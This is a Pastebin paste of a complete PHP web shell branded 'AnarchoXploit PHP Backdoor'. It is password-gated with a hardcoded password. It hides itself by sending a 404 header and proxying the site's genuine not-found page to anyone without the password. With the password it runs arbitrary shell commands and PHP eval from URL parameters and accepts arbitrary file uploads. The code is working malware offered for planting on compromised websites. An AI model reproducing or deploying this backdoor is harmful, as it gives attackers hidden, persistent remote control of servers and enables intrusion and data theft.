Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- #########################
- # Copyright - ErrorByte #
- #########################
- // Config Shell //
- error_reporting(0);
- $pass = 'errorbyte';
- // End Config //
- header("HTTP/1.0 404 Not Found");
- if($_GET['pass'] == $pass) {
- ?>
- <title>AnarchoXploit PHP Backdoor</title>
- <h1>AnarchoXploit PHP Backdoor</h1>
- <?php
- echo php_uname();
- ?>
- <br><br>
- <form enctype="multipart/form-data" method="post">
- <input type="file" name="acx">
- <input type="submit" value="upload">
- </form>
- <?php
- if($_GET['shell']) {
- echo "<pre>".htmlentities(shell_exec($_GET['shell']))."</pre>";
- }
- if($_GET['eval']) {
- echo eval($_GET['eval']);
- }
- if(isset($_FILES['acx'])) {
- if(copy($_FILES['acx']['tmp_name'], $_FILES['acx']['name'])) {
- echo "<br>".$_FILES['acx']['name']." Uploaded !!!";
- } else {
- echo "<br>Failed Upload File !!!";
- }
- }
- } else {
- $rand = rand();
- $ur = 'http://'.$_SERVER['HTTP_HOST']."/".$rand;
- $curl = curl_init();
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($curl, CURLOPT_URL, $ur);
- curl_setopt($curl, CURLOPT_VERBOSE, false);
- $raw = curl_exec($curl);
- $out = str_replace('/'.$rand, $_SERVER['SCRIPT_NAME'], $raw);
- echo $out;
- curl_close($curl);
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment